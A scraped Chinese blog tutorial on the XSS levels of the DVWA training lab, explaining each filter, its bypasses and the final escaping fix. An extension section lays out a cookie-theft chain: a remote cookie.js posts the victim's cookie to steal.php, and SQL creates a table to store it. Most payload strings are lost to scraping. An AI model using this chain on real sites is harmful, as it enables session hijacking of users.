摘要:且通過語句插入到數據庫中。所以存在存儲型漏洞操作步驟由于和輸入框均存在。如果有,則利用函數重新發起請求,將值改為操作步驟輸入,發現值改為使用大小寫,雙寫繞過發現也不行,初步判斷應該是把標簽過濾掉了。
作為興趣,一直想把自己所知道基礎入門的知識總結一下。在總結的過程中也是一個不斷學習地過程,慢慢學吧
XSS-跨站腳本攻擊,在某種意義上也是一種注入型攻擊XSS(Reflected) Low 代碼分析
XSS不僅僅限于JavaScript,還包括flash等其它腳本語言
根據惡意代碼是否存儲在服務器中,XSS可以分為存儲型的XSS(Stored)與反射型的XSS(Reflected)
DOM型的XSS由于其特殊性,是一種基于DOM樹的XSS,被分為第三種
Hello " . $_GET[ "name" ] . ""; } ?> #array_key_exists()函數檢查數組里是否有指定的鍵名或索引。有返回true,沒有返回false
可以看到,代碼直接引用了name參數,并沒有任何的過濾與檢查,存在明顯的XSS漏洞
操作步驟輸入
可以看到成功出現彈窗
F12進入開發者模式可以看到瀏覽器成功將我們的輸入作為HTML元素解釋運行
", "", $_GET[ "name" ] ); // Feedback for end user echo "Hello ${name}"; } ?>
Medium級別的代碼相對于Low級別的代碼使用str_replace函數將輸入中的刪除
操作步驟只刪除標簽的情況是很容易繞過的:
1.使用雙寫繞過,輸入
2.使用大小寫繞過,輸入
3.輸入其他標簽,如
可以看到結果:
獲取到了當前用戶的cookie,這結合csrf(跨站請求偽造)攻擊危害是很大的
Hello ${name}"; } ?>
可以看到High級別的代碼使用了preg_replace函數執行一個正則表達式的搜索和替換
其中/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i是正則表達式(.*)表示貪婪匹配,/i表示不區分大小寫
所以在High級別的代碼中,所有關于標簽均被過濾刪除了
雖然標簽不管用了,但是可以使用其他標簽繞過
輸入同樣得到Medium級別的結果
Hello ${name}"; } // Generate Anti-CSRF token generateSessionToken(); ?>
可以看到Impossible級別的代碼使用htmlspecialchars函數把預定義的字符&、"、"、<、>轉換為 HTML 實體,防止瀏覽器將其作為HTML元素。還加入了Anti-CSRF token,防止結合csrf攻擊
分析總結雖然利用了htmlspecialchars()函數將用戶的輸入進行過濾,但是在特定情況下需要用戶輸入一些被過濾,會丟失原始數據。且htmlspecialchars本質也是黑名單過濾,沒有絕對安全
XSS(Stored) Low 代碼分析" . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . "" ); //mysql_close(); } ?>
函數介紹:
isset()函數在php中用來檢測變量是否設置,該函數返回的是布爾類型的值,即true/false
trim()函數作用為移除字符串兩側空白字符或其他預定義字符
stripslashes()函數用于刪除字符串中的反斜杠
mysqli_real_escape_string()函數會對字符串中的特殊符號(x00,
,
,,",",x1a)進行轉義
在代碼中對message,name輸入框內容沒有進行XSS方面的過濾和檢查。且通過query語句插入到數據庫中。所以存在存儲型XSS漏洞
由于name和message輸入框均存在xss。但name輸入框有字符限制,這里可以使用burpsuite抓包修改name輸入框內容:
點擊Forward得到結果
F12打開開發者模式可以看到輸入內容被前端html代碼解析運行:
由于提交的結果存儲在數據庫中,所以每次刷新頁面,輸入的惡意代碼就會被執行一次
Medium 代碼分析", "", $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( "$message", "$name" );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( "" . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . "" ); //mysql_close(); } ?>
strip_tags()函數剝去字符串中的 HTML、XML 以及 PHP 的標簽,但允許使用標簽。
addslashes()函數返回在預定義字符(單引號、雙引號、反斜杠、NULL)之前添加反斜杠的字符串。
htmlspecialchars()函數把預定義的字符&、"、"、<、>轉換為 HTML 實體,防止瀏覽器將其作為HTML元素
一頓操作對message輸入內容進行檢測過濾,因此無法再通過message參數注入XSS代碼
但是對于name參數,只是簡單過濾了
2.使用大小寫繞過,輸入
3.輸入其他標簽,如
" . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . "" ); //mysql_close(); } ?>
和反射型XSS-High級別代碼功能一致。對name輸入內容利用正則匹配刪除所有關于標簽
操作步驟使用其他標簽:
Impossible 代碼分析prepare( "INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );" ); $data->bindParam( ":message", $message, PDO::PARAM_STR ); $data->bindParam( ":name", $name, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?>
在Impossible代碼中同樣對name內容使用htmlspecialchars()函數,還加入了Anti-CSRF token,防止結合csrf攻擊
但是如果htmlspecialchars函數使用不當,攻擊者就可以通過編碼的方式繞過函數進行XSS注入,尤其是DOM型的XSS自我總結
我們可以看到,在Reflected和Stored類型的XSS中每個級別的差異只是過濾黑名單的完善程度不一樣。由此,在文末總結一個按照級別分類的XSS輸入的payloads
擴展-利用XSS獲取用戶cookie構造csrf攻擊其實,在上述例子的XSS危害只是彈窗,并不能實際獲取到cookie,下面演示怎樣遠程獲取用戶cookie:
原理:由于script標簽可以加載遠程服務器的javascript代碼并且執行,所以在遠程服務器編寫一個cookie.js
document.write(""); document.exploit.submit();
這段js代碼的作用是在頁面中構造一個隱藏表單和一個隱藏域,內容為當前的cookie,并且以post方式發送到同目錄下的steal.php:
"; } mysql_close(); } ?>
steal.php會將我們獲取到的cookie存到數據庫中,搞事之前先創建數據庫和相應的表(字段):
create database dvwacookie;#創建數據庫 use dvwacookie;#進入dvwacookie數據庫 create table low(id int not null auto_increment primary key,cookie varchar(100) not null); #創建一個low表,字段id-int類型,主鍵,值自動增長、字段cookie
接下來在XSS漏洞位置插入:
就可以獲取用戶cookie。參考鏈接在此,與本作者無關
XSS(DOM)對于DOM型的XSS是一種基于DOM樹的一種代碼注入攻擊方式,可以是反射型的,也可以是存儲型的
最大的特點就是不與后臺服務器交互,只是通過瀏覽器的DOM樹解析產生
介紹下DOM:
HTML DOM 是關于如何獲取、修改、添加或刪除 HTML 元素的標準
簡單來說DOM主要研究的是節點,所有節點可通過javascript訪問(增,刪,改,查)
可能觸發DOM型XSS屬性:本實驗中主要用到的就是document.write屬性
document.write屬性 document.referer屬性 innerHTML屬性 windows.name屬性 location屬性Low 代碼分析
可以,很直接
操作步驟1.正常輸入English和French,F12打開開發者模式可以看見
現在來分析一下
F12審查元素:
可以看到和之前正常輸入相比較,第一個option標簽,就是被解釋運行
Medium 代碼分析Medium級別的代碼先是檢查判斷default參數是否為空,不為空則賦值。然后使用stripos()函數判斷default值中是否含有,發現default值改為"English"
2.使用大小寫,雙寫繞過:、
發現和正常選擇"English"一樣
3.使用其他標簽試試:link
PT src="127.0.0.1/cookie.js">
更新中。。。
文章版權歸作者所有,未經允許請勿轉載,若此文章存在違規行為,您可以聯系管理員刪除。
轉載請注明本文地址:http://specialneedsforspecialkids.com/yun/44041.html
摘要:且通過語句插入到數據庫中。所以存在存儲型漏洞操作步驟由于和輸入框均存在。如果有,則利用函數重新發起請求,將值改為操作步驟輸入,發現值改為使用大小寫,雙寫繞過發現也不行,初步判斷應該是把標簽過濾掉了。 作為興趣,一直想把自己所知道基礎入門的知識總結一下。在總結的過程中也是一個不斷學習地過程,慢慢學吧 showImg(https://segmentfault.com/img/bVbt4Cy...
摘要:跨域腳本攻擊攻擊是最常見的攻擊,其重點是跨域和客戶端執行。后端接收請求時,驗證請求是否為攻擊請求,攻擊則屏蔽。開發安全措施首要是服務端要進行過濾,因為前端的校驗可以被繞過。這種直接存在于頁面,無須經過服務器返回就是基于本地的攻擊。 XSS(cross-site scripting跨域腳本攻擊)攻擊是最常見的Web攻擊,其重點是跨域和客戶端執行。有人將XSS攻擊分為三種,分別是: Re...
閱讀 3690·2021-11-22 15:24
閱讀 1593·2021-09-26 09:46
閱讀 1904·2021-09-14 18:01
閱讀 2601·2019-08-30 15:45
閱讀 3526·2019-08-30 14:23
閱讀 1866·2019-08-30 12:43
閱讀 2915·2019-08-30 10:56
閱讀 800·2019-08-29 12:20